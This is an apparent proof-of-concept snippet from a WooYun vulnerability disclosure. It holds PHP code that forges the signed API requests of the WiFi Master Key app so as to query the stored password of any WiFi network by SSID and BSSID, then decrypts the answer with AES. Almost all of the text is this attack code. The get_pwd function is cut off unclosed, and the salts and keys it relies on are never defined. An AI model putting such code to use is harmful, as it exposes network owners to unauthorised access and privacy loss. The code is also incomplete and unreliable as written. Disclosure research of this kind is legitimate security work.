WooYun.org

function sign( $array , $do ){
	// 签名算法
	$request_str = '';
	$salt = '';
	$sign = '';
	// 对应apk中的 Arrays.sort 数组排序，测试PHP需用 ksort 
	ksort( $array );
	foreach ($array as $key => $value) {
		$request_str .= $value;
	}
	if ( $do == 'querypwd') {
		$sign = md5( $request_str . SALT );
	} elseif ( $do == 'querydhid' ) {
		$sign = md5( $request_str . SALT2 );
	} else {
		NULL;
	}
	return $sign;
}

function get_pwd(){
	$ssid = addslashes( $_POST['ssid'] );
	$mac = addslashes( $_POST['mac'] );
	$data = '';
	$array = array(
		"och" => "guanwang",
		 "ii"=> "123456789012345",
		"appid"=> "0006",
		"pid"=> "qryapwd:commonswitch",
		"mac"=>"xx:xx:xx:xx:xx:xx",
		"lang"=>"cn",
		"bssid"=>"$mac,",
		"v"=>"58",
		"ssid"=>"$ssid,",
		"method"=>"getSecurityCheckSwitch",
		"uhid"=> "a0000000000000000000000000000001",
		"st"=> "m",
		"chanid"=> "googleplay",
		"dhid" => get_dhid()
	);
	$sign = sign( $array , 'querypwd' );
	foreach ($array as $key => $value) {
		if ( $key == 'bssid') {
			$data .= "sign=" . strtoupper($sign) . "&";
		}
		$data .= "$key=" . urlencode( $value ) . "&";
	}

function decryptStrin($str,$keys=AESKey,$iv=AESIV,$cipher_alg=MCRYPT_RIJNDAEL_128){
    //Wi-Fi万能钥匙密码采用 AES/CBC/NoPadding 方式加密
    $decrypted_string = mcrypt_decrypt($cipher_alg, $keys, pack("H*",$str),MCRYPT_MODE_CBC, $iv);
    return $decrypted_string;
}